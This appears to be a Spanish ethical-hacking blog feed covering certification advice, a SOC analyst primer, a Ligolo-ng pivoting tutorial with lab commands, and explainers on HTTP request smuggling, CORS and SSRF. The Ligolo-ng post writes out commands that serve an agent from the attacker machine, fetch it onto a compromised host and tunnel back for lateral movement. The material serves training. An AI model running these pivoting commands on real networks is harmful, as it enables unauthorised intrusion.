RINKU | Hacking ético desde Ø

Cómo conseguir tu primera certificación en ciberseguridad (y cuál elegir)

webmaster — Sun, 22 Jun 2025 11:17:03 +0000

Cómo conseguir tu primera certificación en ciberseguridad (y cuál elegir)

¿Quieres conseguir tu primera certificación en ciberseguridad y no sabes por dónde empezar?

Es normal. Existen más de 100 certificaciones de seguridad informática, además de la cantidad de ramas que hay… Blue Team, Red Team, forense, cloud…

En este artículo vas a descubrir:

Qué son las certificaciones de ciberseguridad
Si realmente necesitas una para empezar
Y cómo elegir la más adecuada según tu objetivo

Te mostraré los beneficios reales (y el negocio detrás de ellas) después de más de 3 años en el sector y de haber aprobado certificaciones tanto de Blue Team como de Red Team.

Qué son las certificaciones en ciberseguridad y por qué importan

Las certificaciones de ciberseguridad son exámenes que debes aprobar y que validan los conocimientos y habilidades de una temática concreta.

Una certificación en ciberseguridad no es solo un papel. Es una validación.

Las certificaciones están diseñadas por organizaciones especializadas y responden a estándares técnicos concretos.

Algunas se enfocan en defensa (blue team), otras en ataque (red team), gestión de riesgos, compliance o seguridad en la nube.

Su propósito es doble: acreditar conocimiento técnico actualizado y aumentar tu visibilidad profesional.

En muchas industrias, si no pasas cuatro años por la universidad, ni siquiera te dan la oportunidad de demostrar lo que sabes.

Derecho, arquitectura, programación… todo está regulado. No hay atajos.

No hay forma de decir “ya estoy listo, déjame intentarlo”.

Pero en ciberseguridad, el juego es distinto.

Aquí no necesitas esperar años para validar que sabes algo.

Te certificas, lo demuestras, y punto.

Yo mismo conseguí trabajo antes que muchos ingenieros recién graduados con máster en ciberseguridad.

¿Por qué?

Porque mientras otros seguían con materias generales, yo, ya tenía en mi CV un certificado enfocado a una rama y sabía resolver problemas reales en entornos reales.

Esto no es una crítica a la universidad.

Las bases importan.

Pero en este sector, la velocidad y la especialización marcan la diferencia. Y eso es lo que te dan las certificaciones:

Aprendizaje concentrado y resultados tangibles.

Esto no quiere decir que consigas trabajo mañana, sí o sí, tras certificarte. Todo depende de la estrategia que utilices en esa búsqueda de empleo.

¿Son obligatorias para trabajar en ciberseguridad?

No.

Nadie te va a impedir entrar en este mundo por no tener un diploma.

Puedes formarte de forma autodidacta, demostrarlo con proyectos, contribuir a herramientas open source o superar entrevistas técnicas con hechos, no con títulos.

Pero hay un matiz: no son obligatorias, pero sí pueden ser decisivas. Especialmente si estás empezando, vienes de otro sector o no tienes aún experiencia real.

En esos casos, una certificación bien elegida puede ser el atajo que necesitas para llamar la atención y entrar en el proceso de selección.

Certificarte te posiciona.

Abre puertas en procesos de selección, refuerza tu perfil frente a otros candidatos y, en muchas ocasiones, te permite optar a puestos mejor remunerados.

Empresas, sobre todo grandes, valoran la confianza que da un profesional certificado. Algunas incluso lo exigen para cumplir con estándares de calidad, auditorías o requisitos de clientes.

De hecho, en algunas entrevistas, me han rechazado por no tener X certificación.

Beneficios y desventajas de obtener certificaciones de ciberseguridad

Beneficios: reputación, conocimientos y acceso a oportunidades laborales

Una certificación bien elegida no es solo un adorno en tu currículum. Es una herramienta estratégica.

Te posiciona y te da visibilidad.

Las empresas, sobre todo las grandes, necesitan confianza. No tienen tiempo para comprobar si realmente sabes lo que dices saber. Una sigla reconocida como OSCP, Security+, CEH les da esa tranquilidad. (Aunque luego no tengas ni idea)

Pero no se trata solo de reputación. Certificarte es también una forma de aprender con presión real. Con fechas, con objetivos, con un examen al final.

Además, muchas certificaciones te dan acceso a mejores sueldos, o incluso a entrar en puestos que exigen credenciales específicas. Te abren puertas que, sin ellas, ni siquiera podrías tocar.

Por ejemplo. Imagina que tu sueño es mudarte a Estados Unidos y trabajar para el gobierno, la NSA o algún departamento de ciberseguridad. Además de un proceso riguroso de investigación, te van a pedir que tengas una certificación de Comptia, como el security+.

Desventajas: costes, renovaciones y “negocio” detrás de los exámenes

Ahora, no todo es perfecto.

Certificarse cuesta. No solo dinero, también tiempo, foco y energía. Y algunas empresas lo saben… y lo aprovechan.

Hay certificaciones que te obligan a renovar cada año, pagando una cuota solo para mantener el título “activo”. Otras ni siquiera actualizan el temario, pero siguen cobrando como si ofrecieran la panacea de la ciberseguridad.

¿Vale la pena? Depende. Si eliges una certificación por moda, por presión o por currículum vacío, vas directo a tirar el dinero.

No te certifiques por coleccionar logotipos. Certifícate por lo que vas a aprender y por cómo eso te acerca a tu siguiente nivel.

Recuerda: en este mundo hay cursos que te enseñan a hackear… y otros que te hackean la cartera.

Mi intención aquí no es decirte que algo es mejor o peor, o que debes tener X o Y certificación. Quiero darte mi perspectiva y que desde el conocimiento, puedas tomar una mejor decisión. No hay rutas definitivas para ciberseguridad, debes encontrar la que mejor se adapte a ti.

Cómo elegir tu primera certificación en ciberseguridad

Antes de buscar certificaciones, precios o comparativas, hazte la pregunta que de verdad importa:

¿Para qué quieres certificarte?

¿Buscas entrar al mundo laboral desde cero? ¿Quieres cambiar de sector? ¿O ya trabajas en IT y quieres especializarte en seguridad ofensiva, blue team, cloud o GRC?

Sin un objetivo claro, cualquier certificación te parecerá útil. Y es justo ahí donde muchos se pierden. Hacen cursos al azar, coleccionan logotipos… y siguen sin saber hacia dónde van.

Tu certificación tiene que ser una herramienta, no un trofeo.

Así que define tu norte. Y luego elige la sigla que te acerque a él.

Mi experiencia con las certificaciones y qué camino tomé

Venía de un sector totalmente distinto. Nada que ver con ciberseguridad. Pero ya lo tenía claro: quería ser Red Teamer.

¿Por qué?

Porque lo había probado. Había leído. Había tocado máquinas, laboratorios, Blue Team, normativa… y lo único que realmente me enganchaba era el lado ofensivo. Sabía que iba a necesitar muchas horas de estudio, pero también sabía que no me iba a rendir.

Eso es lo primero que tienes que hacer tú también: probar, investigar, equivocarte… y elegir.

Una vez definido el objetivo, hice lo lógico:

Busqué qué certificaciones pedían las empresas.
Filtré por las que se alineaban con Red Team.
Me salté todo lo que me desviaba. Blue Team no era mi camino, así que lo descarté sin dudar.

Mi estrategia no fue ir directo a un puesto de ciberseguridad, porque necesitaba trabajar ya. Así que di un paso lateral: conseguí un trabajo como administrador de sistemas/redes. No era 100 % ciber, pero me permitía tocar tecnología real, aprender sobre infraestructuras y ganar experiencia técnica aplicable.

Ese trabajo fue mi trampolín. Desde dentro, fui trazando el salto.

Me certifiqué con la EJPTv2, porque encajaba con mi enfoque ofensivo y era una credencial valorada. Con esa certificación en el CV, empecé a postular a ofertas específicas de Red Team.

¿El problema?

Todavía no encajaba del todo. Me faltaba experiencia directa en ciberseguridad.

Pero en vez de esperar, decidí moverme.

Aposté por un rol de analista de ciberseguridad. ¿Era Blue Team? Sí. ¿Era mi objetivo final? No.

Pero era ciberseguridad real, 100 %, y me acercaba al terreno donde quería jugar.

Y ahí vino el giro.

Gracias a mi enfoque ofensivo, crecí más rápido que muchos. Sabía cómo pensaban los atacantes, qué buscaban, cómo se movían.

Eso me dio una ventaja brutal para interpretar alertas, analizar incidentes y detectar patrones reales de ataque.

Mientras otros se quedaban en la capa superficial, yo entendía la cadena completa.

No porque me lo contaran, sino porque ya lo había practicado en labs y simulaciones ofensivas.

Eso me permitió dar el siguiente salto.

De Blue Team a Red Team. De analista a atacante.

No fue suerte. Fue estrategia, fue foco.

Y sobre todo: fue no conformarme. Porque si sabes a dónde quieres ir, cada paso cuenta, aunque no parezca el definitivo.

Las certificaciones más populares en ciberseguridad para comenzar

Ahora quiero hablarte de las certificaciones más populares para comenzar en ciberseguridad. Y las que yo recomiendo en base a mi experiencia.

eJPTv2

El eJPTv2 o eLearn Security Junior Penetration Tester version 2 es una certificación de pentesting de nivel básico, con un precio de $250.

Se trata de un examen 100% práctico y dinámico, en el que tendrás acceso a una máquina virtual y harás una prueba de penetración real. Según el INE, este examen valida tus conocimientos y habilidades necesarias para trabajar como pentester junior (Más adelante veremos si es cierto).

Esta certificación te reconoce para las siguientes áreas:

IP Routing.
Escaneo, enumeración y explotación básica de puertos y servicios conocidos.
Escalada de privilegios.
Pivoting básico y Port forwarding.
Explotación con Metasploit.
Recopilación de información.

El examen consta de 35 preguntas que deberás responder en máximo 48 horas. Y para aprobar debes obtener una puntuación del 70%.

Leer más sobre el eJPTv2 aquí

OSCP

La OSCP (OffSec Certified Professional) es una certificación de hacking ético ofrecida por Offensive Security (OffSec). Está pensada para que los profesionales de ciberseguridad validen sus habilidades prácticas en hacking ético y pentesting. Tiene un coste, en el momento de hacer este artículo, de $1749.

Las personas que superan el examen demuestran competencia REAL (esto es muy importante) en la identificación de vulnerabilidades, explotación de sistemas, escalada de privilegios y documentación en un entorno real. Prácticamente en todas las fases del pentesting.

Esta certificación es el estándar cuando quieres trabajar como pentester.

En mi caso, aún no la tengo y no me ha hecho falta obtenerla antes de trabajar como pentester, por la estrategia que te he comentado antes.

Lo que diferencia a la OSCP de la eJPTv2, además de la dificultad, es que en todo momento estás vigilado por una persona y hay herramientas que no están permitidas en el examen.

Si te interesa saber más sobre la OSCP, mira este vídeo de aquí.

Security+

Ahora pasamos a la parte defensiva y comenzamos con una de las certificaciones más valoradas en el sector para principiantes, sobre todo en el mercado estadounidense.

Esta certificación está diseñada para validar los conocimientos y habilidades necesarias para realizar tareas básicas de ciberseguridad, como la gestión de riesgos, la identificación de amenazas y la implementación de controles de seguridad.

¿El problema? Es 100% teórica y eso lo hace más difícil si estás empezando.

En mi canal de YouTube, tienes un vídeo sobre mi experiencia con esta certificación.

BTL1

Voy a hablarte de BTL1, que para mi, sería como la eJPT pero enfocada a la defensa. Esta certificación está diseñada para formar a profesionales capaces de defender redes y responder a incidentes de seguridad. Aprenderás las siguientes tareas:

Análisis y respuesta a ataques de phishing
Realización de investigaciones forenses para recopilar y analizar pruebas digitales
Uso de una plataforma SIEM para investigar actividades maliciosas
Análisis de registros y tráfico de red, incluidas análisis de malware

Las habilidades y herramientas que aprenderás en esta certificación te permitirán conocer el día a día como analista de ciberseguridad nivel 1. Esta certificación es práctica, así que te sirve como experiencia real.

Otras opciones: Tryhackme, Hack The Box, etc

Por último pero no menos importante, tenemos certificaciones de otras empresas, como TryHackMe, HackTheBox o TCM Security.

No son mejores ni peores. Solo que aún no están posicionadas en el mercado. Eso no quita que sean muy buenas opciones para formarte y mejorar tu perfil profesional.

¿Y ahora qué?

Cómo conseguir tu primer trabajo en ciberseguridad

Tienes toda la información.

Ya no es cuestión de saber por dónde empezar.

Es cuestión de decidir cuándo vas a empezar.

Elige una certificación. Una. No cinco.

Ponte una fecha. Prepara un plan. Y cúmplelo.

No esperes a sentirte “listo”, porque nadie se siente listo antes de hacer algo que importa.

En ciberseguridad, como en la vida, avanza el que actúa, no el que colecciona CTFs.

¿Quieres entrar en el sector? ¿Cambiar de rol? ¿Subir de nivel?

La respuesta no está en más artículos ni en más dudas.

Está en lo que hagas hoy después de cerrar este.

Puedes caminar solo, todo depende del tiempo que le quieras dedicar y en cuánto tiempo quieras conseguir tu objetivo.

Pero si estás dispuesto a hacerlo acompañado, tengo algo para ti.

He preparado una clase gratuita donde te cuento el sistema en profundidad para conseguir tu primer trabajo en ciberseguridad.

Además, aprenderás:

El motivo por el que aún no has conseguido trabajo en ciberseguridad.
Cómo destacar entre los perfiles que buscan las empresas.
Y cómo evitar el sistema educativo tradicional.

Accede a la clase gratuita de ciberseguridad.

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Curso Analista de Seguridad (SOC Analyst) gratuito en español

webmaster — Mon, 16 Jun 2025 15:26:31 +0000

Curso Analista de Seguridad gratuito en español

En este artículo, vas a aprender a gestionar tu primera alerta en un SOC desde el absoluto 0, y sin necesidad de experiencia previa para hacerlo.

Voy a explicarte la teoría fundamental que necesitas para gestionar tu primera alerta de seguridad, en qué consiste ser analista de SOC, por qué es una buena opción si quieres conseguir tu primer trabajo en ciberseguridad y cómo entender, de principio a fin, el funcionamiento de las herramientas de blue team, aplicándolas en un laboratorio.

Este vídeo está diseñado para que cualquiera, sí, cualquiera, pueda seguirlo y gestionar su primera alerta.

Además, voy a darte un regalo que te ayudará a conseguir tu primer trabajo en ciberseguridad.

¿Siguiente paso para aprender hacking ético y ciberseguridad?

Rellena el siguiente formulario y consigue acceso a los recursos mencionados en el vídeo de forma gratuita:

Escribe aquí tu nombre y tu email

En qué consiste el trabajo de un SOC analyst.

Como Analista de Seguridad, el trabajo consiste en monitorizar continuamente la infraestructura de seguridad de una organización utilizando herramientas como SIEM (Sistema de Gestión de Eventos e Información de Seguridad), IDS (Sistema de Detección de Intrusos), IPS (Sistema de Prevención de Intrusos) o XDR (Detección y Respuesta Extendidas).

Analiza patrones de tráfico, registros y alertas generadas por sistemas de seguridad para identificar posibles incidentes.

Cuando se detecta una amenaza en la empresa, el analista investiga su naturaleza, alcance y método de infiltración. Utiliza herramientas forenses y técnicas de análisis para comprender la táctica empleada y evaluar el impacto potencial.

Normalmente, el analista de seguridad trabaja en un SOC (Centro de Operaciones de Seguridad).

Tipos de alertas más comunes en un SOC

Las alertas de seguridad pueden clasificarse en varias categorías en función de su origen, el objetivo del ataque y su impacto potencial en la organización.

A continuación, voy a detallarte las más frecuentes.

1. Phishing

El phishing es uno de los ataques más comunes y efectivos utilizados por los ciberdelincuentes. Consiste en el envío de correos electrónicos fraudulentos que suplantan la identidad de una entidad legítima con el fin de:

Robar credenciales de acceso, como nombres de usuario y contraseñas.
Distribuir malware, incluyendo troyanos y ransomware.
Engañar a los usuarios para realizar transferencias de dinero o compartir información confidencial.

Los correos de phishing suelen incluir enlaces maliciosos que redirigen a páginas falsas o archivos adjuntos infectados. Algunas señales de alerta en estos correos incluyen:

Remitente desconocido o dirección de correo sospechosa.
Urgencia en el mensaje, como «Su cuenta ha sido comprometida» o «Es necesario verificar su información, haz click aquí para proteger su cuenta».
Enlaces acortados o URLs que imitan dominios legítimos, por ejemplo, paypal.com o paypaI.com. En el primer ejemplo, tenemos paypal bien escrito, en el segundo, utilizamos una i latina mayúscula, en vez de una L. Confundiendo así a la persona que recibe el correo.

El phishing es una amenaza constante porque depende del factor humano, y su detección y mitigación son esenciales en cualquier SOC.

2. Intentos de acceso no autorizado

Los accesos no autorizados pueden ocurrir cuando un atacante intenta ingresar a un sistema utilizando credenciales comprometidas o mediante ataques de fuerza bruta. Estas alertas pueden generarse cuando se detectan:

Múltiples intentos fallidos de inicio de sesión en un corto período de tiempo.
Accesos exitosos desde ubicaciones geográficas inusuales.
Uso de credenciales comprometidas extraídas de bases de datos filtradas en la dark web.
Intentos de autenticación con métodos obsoletos o inseguros (por ejemplo, sin MFA habilitado).
Acceso en una misma cuenta desde 2 ubicaciones distintas. No es posible que un mismo usuario se conecte desde Japón y al mismo tiempo desde España.

Un analista de SOC debe revisar logs de autenticación en herramientas como SIEM y correlacionar eventos para determinar si se trata de un ataque o simplemente de un usuario legítimo que olvidó su contraseña o algo similar

3. Actividad maliciosa en endpoints

Las amenazas en endpoints incluyen cualquier actividad sospechosa en equipos de usuario, servidores o dispositivos conectados a la red. Algunos indicadores de actividad maliciosa son:

Ejecución de archivos desconocidos o sospechosos.
Uso de scripts en PowerShell, Python o Bash sin justificación aparente.
Creación o modificación de archivos en directorios críticos del sistema.
Presencia de malware en memoria sin archivos asociados.

Las herramientas EDR (Endpoint Detection and Response) permiten a los analistas de SOC monitorizar y responder a actividad maliciosa en los endpoints en tiempo real.

Un EDR registra eventos como procesos ejecutados, conexiones de red y modificaciones en archivos del sistema, permitiendo detectar patrones sospechosos y responder de forma automatizada o manual.

En algunos casos, los eventos recopilados por el EDR pueden enviarse a un SIEM, que los correlaciona con otras fuentes de datos para proporcionar una visión más amplia de los incidentes de seguridad.

Básicamente, para que nos entendamos, un EDR en muchas ocasiones es un antivirus con esteroides.

Pero, ¿En qué se diferencia un EDR de un antivirus tradicional?

Detección basada en comportamiento:
- Un antivirus tradicional se basa principalmente en firmas (hashes de malware conocido).
- Un EDR usa detección basada en comportamiento, lo que le permite identificar amenazas nuevas o avanzadas, como ataques sin archivos (fileless attacks).
Monitorización y respuesta en tiempo real:
- Un antivirus solo escanea archivos en busca de amenazas.
- Un EDR monitoriza toda la actividad del endpoint (procesos, conexiones de red, cambios en archivos, etc.) en tiempo real y puede tomar medidas automatizadas, como aislar un dispositivo comprometido.
Capacidades forenses y telemetría:
- Un antivirus detecta y elimina amenazas, pero no proporciona un historial detallado de lo que ocurrió.
- Un EDR almacena eventos para análisis forense, permitiendo a los analistas investigar ataques, ver la línea de tiempo de los eventos y responder de manera más efectiva.

4. Tráfico anómalo en la red

El análisis del tráfico de red es crucial para detectar ataques en etapas tempranas. Algunas señales de tráfico anómalo incluyen:

Conexiones a direcciones IP maliciosas o servidores de command and control (C2).
Extracción masiva de datos desde servidores internos.
Uso de protocolos o puertos inusuales en la comunicación de red.
Patrones de escaneo de red que podrían indicar reconocimiento previo a un ataque.

Los analistas utilizan herramientas como firewalls, IDS/IPS y SIEM para identificar este tipo de actividad y tomar medidas de contención.

Estos son algunos de los tipos de alertas más comunes en un SOC. En este video, nos centraremos en la gestión de una alerta de phishing, ya que es una de las amenazas más frecuentes y suele ser el punto de entrada para ataques más sofisticados. Ahora vamos al PC donde analizaremos una alerta de phishing paso a paso.

Cómo gestionar un phishing en un SOC

Aquí te dejo el tutorial para que aprendas a gestionar tu primera alerta del SOC desde el absoluto 0.

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Descárgate la guía para tu entrevista como SOC ANALYST

Al suscribirte, aceptas la política de privacidad de Rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Tutorial Ligolo-ng: Cómo crear túneles y hacer pivoting

webmaster — Sun, 08 Jun 2025 16:10:57 +0000

Si estás aquí es porque has intentado hacer pivoting alguna vez y sabes lo que eso conlleva.

Horas modificando ProxyChains que se corta justo antes de conseguir la comunicación….
Nmap que falla más de lo que te gustaría…
Y organizar los puertos de redirección… ¿era del puerto 8000 al 80 o del 80 al 8000?

En este artículo voy a enseñarte a utilizar una herramienta que facilita el proceso de pivoting: Ligolo.

Así que quédate si quieres:

Conocer qué es Ligolo-ng y por qué sustituye a configuraciones complejas con ProxyChains, Socat o Chisel.
Y, aprender a utilizarlo de forma sencilla y montar tu propio laboratorio de práctica.

Pero antes de continuar, si es la primera vez que escuchas el término pivoting, déjame explicártelo.

Qué es el pivoting en hacking

El pivoting es una técnica que se utiliza para moverte dentro de una red. Una vez que hemos conseguido acceso a una parte del sistema, utilizamos ese punto de acceso para explorar y atacar otras áreas internas que no eran visibles o accesibles desde el exterior.

Básicamente, usamos un dispositivo, por ejemplo, un servidor, para llegar a otro. Si comprometemos un servidor web, normalmente acabamos en una DMZ o zona desmilitarizada.

Los equipos dentro de esta DMZ pueden ser accesibles desde Internet. Estos equipos están “conectados” con los equipos de la red interna, es decir, están en medio. Cuando hacemos pivoting, utilizamos este equipo intermedio para pivotar hacia dentro y conseguir acceso a sistemas y equipos a los cuales, desde un inicio, no teníamos acceso.

Lo que acabo de explicarte es un ejemplo de pivoting. No en todos los casos es así, pero en certificaciones como eJPT, eCPPT o incluso la OSCP nos lo podemos encontrar.

Como sabrás, existen muchas herramientas para hacer pivoting; por ejemplo, en este canal tienes un vídeo de mi preparación de eCPPT donde utilizamos Chisel y Socat para hacer pivoting.

Además de realizar pivoting para llegar a una red a la que no teníamos acceso en un principio, necesitamos comunicación bidireccional; es decir, desde nuestra máquina atacante hacia la máquina interna y desde la máquina interna hacia nuestra máquina atacante.

Y esto es lo que hace diferente a Ligolo del resto de herramientas.

Qué hace diferente a Ligolo-ng

Ligolo-ng es una herramienta sencilla y rápida de configurar que nos permite crear túneles a partir de una conexión TCP o TLS usando una interfaz. Esto significa que no es necesario utilizar Proxychains u otra configuración adicional para realizar pivoting.

Ligolo lo hace todo muy fácil y, si tienes dudas, cuando acabes este vídeo, ve y mira el vídeo que te he comentado sobre Chisel y Socat.

Así que, ahora que conoces qué es el pivoting y por qué te recomiendo utilizar Ligolo, vamos al PC y comenzamos con el laboratorio práctico.

Tutorial de Ligolo-ng

Vamos a simular un entorno con tres máquinas virtuales en VirtualBox:

Kali Linux → Máquina atacante
Pivoting1 (Ubuntu) → Máquina intermedia (gateway)
Pivoting2 (Ubuntu) → Máquina final, sólo accesible desde Pivoting1

Descargar Ligolo NG

En Kali, descarga desde el repositorio oficial:

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz

tar -xf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
tar -xf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz

Transferimos el agente a la máquina intermedia

Levanta un servidor en Kali:

sudo python3 -m http.server 80

En la máquina intermedia:

wget http://tu_ip/agent
chmod +x agent

Establecer el Túnel Ligolo

En Kali:

./proxy --selfcert

En la máquina intermedia:

./agent --conect tu_ip:11601 --ignore-cert

Recibimos una conexión en nuestro proxy indicando que el agente se ha conectado.

Crear interfaz TUN en Kali

sudo ip tuntap add user $(whoami) mode tun name ligolo
sudo ip link set ligolo up
sudo ip route add 20.20.20.0/24 dev ligolo

Activamos la sesión desde el proxy para crear el túnel:

session
select 1
start

Ahora puedes hacer ping desde Kali a la ip a fuera de nuestro alcance.

Redirección de puertos con Ligolo

Si queremos conseguir comunicación bidireccional, necesitamos crear un port forwarding para que la máquina intermedia redirija la comunicación.

En la sesión proxy de Ligolo, ejecutamos lo siguiente:

listener add --addr 0.0.0.0:8080 --to 127.0.0.1:80

Esto redirige lo que reciba el agente (Pivoting1) en el puerto 8080 hacia el puerto 80 en Kali.

Desde Pivoting2:

curl http://ip_máquina_intermedia:8080

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

HTTP Request Smuggling: qué es y cómo funciona

webmaster — Sun, 25 May 2025 16:00:00 +0000

Hoy te voy a mostrar cómo los atacantes pueden “colar” peticiones maliciosas dentro de otras aparentemente legítimas, aprovechando malentendidos entre servidores. Un ataque invisible. Sutil. Pero devastador. En este artículo voy a enseñarte la vulnerabilidad HTTP Request Smuggling, cómo funciona y qué impacto tiene. Además, al final del artículo voy a enseñarte a explotarla en un laboratorio práctico. Lo primero es saber en qué consiste.

Qué es la vulnerabilidad HTTP request smuggling

La traducción de esta vulnerabilidad es contrabando de solicitudes HTTP, así que ya podemos entender más o menos su funcionamiento. Cuando hablamos de solicitudes HTTP, nos referimos a solicitudes cliente-servidor. Es decir, nuestro navegador solicita visualizar una página al servidor. Teniendo esto claro, la vulnerabilidad consiste en insertar una petición maliciosa dentro de una petición legítima, que es procesada sin problema por el servidor backend. Aquí se produce el “contrabando”, porque esa solicitud maliciosa pasa totalmente desapercibida por el servidor. Prácticamente se envía una doble petición, una dentro de la otra. Bien, ¿y cómo funciona la vulnerabilidad y por qué ocurre?

Cómo funciona la vulnerabilidad HTTP request smuggling

Los responsables de este ataque son dos cabeceras de la petición HTTP: Content-Length y Transfer-Encoding. Estas cabeceras son utilizadas para conocer cuándo una petición finaliza. Cuando el frontend (es decir, el frontal, la parte visible de la web) envía una solicitud al backend, envía múltiples solicitudes paralelas de otros usuarios al mismo tiempo. Estas solicitudes se envían a través de la misma red del backend. Por lo tanto, es importante que tanto el front como el back sepan dónde termina una solicitud y dónde empieza otra. De lo contrario, un atacante podría enviar una doble solicitud, crear ambigüedad en los sistemas front y back, y estos los interpretarían de forma diferente. Es decir, que esta técnica se basa en desincronizar la forma en que un servidor frontend y un backend procesan las solicitudes HTTP. Por ejemplo, el servidor frontal puede usar Content-Length como referencia para saber dónde termina la petición, mientras que el backend puede usar Transfer-Encoding: chunked. Si se manipulan adecuadamente estos encabezados, se puede lograr que el backend procese una segunda petición que no fue visible para el frontend. El Content-Length especifica la longitud de la solicitud en bytes. Por ejemplo: Content-Length: 500 El Transfer-Encoding utiliza codificación fragmentada en bytes hexadecimales. El mensaje termina si el tamaño del fragmento es de 0 bytes. Por ejemplo, si quisiera enviar la palabra «rinku» usando Transfer-Encoding: chunked, donde el cuerpo del mensaje se divide en bloques (chunks), se vería así:

5\\r\\n
rinku\\r\\n
0\\r\\n
\\r\\n

Tipos de HTTP Request Smuggling

Podemos encontrarnos con los siguientes tipos:

CL-TE: Front-end utiliza Content-Length y back-end Transfer-Encoding
TE-CL: Front-end utiliza Transfer-Encoding y back-end Content-Length
TE-TE: Se utilizan dos cabeceras Transfer-Encoding pero se puede convencer a uno de los servidores de no procesarlo ofuscando el encabezado de distintas formas manera.
CL-CL: Y por último, aunque no es muy común, utilizar dos Content-Length, haciendo que el servidor únicamente tome uno de los encabezados como válido y permita la doble petición.

Qué impacto tiene la vulnerabilidad

El impacto de esta vulnerabilidad es alto y puede ser crítico dependiendo de lo que el atacante pueda hacer tras el envío de la doble petición. algunos ejemplos son:

1. Secuestro de sesión (Session Hijacking)

El atacante puede inyectar una solicitud HTTP en la misma conexión TCP que usa un usuario legítimo. Si la víctima realiza una solicitud después del atacante, es posible que esa solicitud se combine con una solicitud «smuggled» del atacante, lo que puede permitir:

Leer la respuesta de la víctima.
Robar cookies o tokens de sesión.
Tomar control de la sesión si el backend asocia esa conexión a un usuario autenticado.

2. Bypass de controles de acceso

Al realizar una petición maliciosa dentro de una legítima es posible burlar firewalls o WAFs que solo analizan la primera petición. Esto puede llevar a la ejecución de acciones no autorizadas, como acceder a recursos internos.

3. SSRF (Server Side Request Forgery)

Si el servidor backend puede emitir solicitudes HTTP (por ejemplo, para integraciones con APIs externas), es posible inyectar solicitudes que apunten a recursos internos como:

http://localhost/admin

Esto puede derivar en exfiltración de datos internos o escalada de privilegios.

4. Ataques de desincronización

Cuando el backend procesa una petición smuggled, la respuesta puede quedar desincronizada respecto al frontend. Esto permite:

Inyectar respuestas personalizadas en la conexión del usuario.
Mostrar contenido falso (phishing desde un dominio legítimo).
Ejecutar XSS incluso en páginas donde no es posible por vías tradicionales.

Como te podrás imaginar, esta vulnerabilidad es la puerta de entrada a muchas opciones y es por eso que en programas de bug bounty se pagan muy bien.

Cómo prevenir la vulnerabilidad HTTP request smuggling

Llegados a este punto, para prevenir el HRS hay que llevar a cabo buenas prácticas como:

Mantener consistencia en el uso de los encabezados. Tanto en el front-end como el back-end.
Utilizar HTTP/2 y deshabilitar HTTP siempre que sea posible.
O desactivar transfer-encoding si no es necesario. Si la aplicación no necesita recibir peticiones con chunked, desactivar esta funcionalidad puede reducir el riesgo.

Cómo se explota la vulnerabilidad HTTP request smuggling

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Cross-origin resource sharing (CORS): qué es y cómo funciona

webmaster — Sun, 18 May 2025 14:36:27 +0000

Una cabecera en la web puede dejar expuesta una aplicación web… y lo peor es que muchos de los desarrolladores ni siquiera saben que la están configurando mal. Hoy quiero hablarte del CORS o Cross-Origin Resource Sharing. En este artículo, aprenderás qué es, cómo funciona, qué impacto tiene y cómo puedes explotarla en un laboratorio práctico. Pero antes, es necesario que conozcas qué es CORS.

Qué es la vulnerabilidad CORS

Cross-Origin Resource Sharing (CORS) es un mecanismo de seguridad implementado por los navegadores que permite a una página web cargar recursos desde un dominio distinto al suyo. Imagina que tienes un sitio web en https://ejemplo1.com y quieres cargar una imagen desde https://ejemplo2.com. CORS es un mecanismo de seguridad implementado en los navegadores modernos que restringe las peticiones web que una aplicación puede hacer desde un origen diferente al que sirve los recursos. Es decir, impide que un sitio web de origen A acceda a recursos protegidos en un sitio de origen B, salvo que este último lo autorice explícitamente. La vulnerabilidad aparece cuando un servidor permite solicitudes desde cualquier origen (Access-Control-Allow-Origin: *) o refleja dinámicamente el valor del encabezado Origin sin validarlo adecuadamente. Esto puede habilitar el acceso no autorizado a datos sensibles por parte de sitios web maliciosos que logren convencer al usuario de visitar una página controlada por el atacante.

Cómo funciona la vulnerabilidad CORS

Cuando un navegador detecta que una página está haciendo una solicitud entre diferentes dominios (por ejemplo, desde ejemplo1.com hacia ejemplo2.com), este verifica si la respuesta del servidor destino incluye encabezados CORS válidos. Si el valor del encabezado coincide exactamente con el Origin, el navegador permite que el frontend acceda a la respuesta. Si no coincide o si el encabezado no existe, el navegador bloquea la respuesta, sin importar que la solicitud haya llegado al servidor o que éste haya respondido correctamente.

Qué impacto tiene la vulnerabilidad

Las configuraciones incorrectas de CORS representan una amenaza seria para la seguridad de las aplicaciones web y pueden derivar en fugas de datos, accesos no autorizados e interrupciones del servicio. Los atacantes pueden aprovechar vulnerabilidades en CORS para robar datos sensibles de las aplicaciones, como claves API, información personal identificable (PII) o credenciales de los usuarios.

Cómo explotar la vulnerabilidad CORS.

Ahora que ya conoces qué es y cómo funciona, vamos al PC y realizamos el laboratorio práctico.

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Server-Side Request Forgery (SSRF): qué es y cómo funciona

webmaster — Sun, 11 May 2025 16:00:00 +0000

En este artículo, voy a explicarte la vulnerabilidad SSRF o Server-side request forgery. Qué es, cómo funciona y por qué SSRF ha sido el punto de entrada en algunos de los ciberataques más sofisticados del mundo.

Además, al final de artículo vas a aprender a explotarla en un laboratorio práctico.

Qué es la vulnerabilidad SSRF

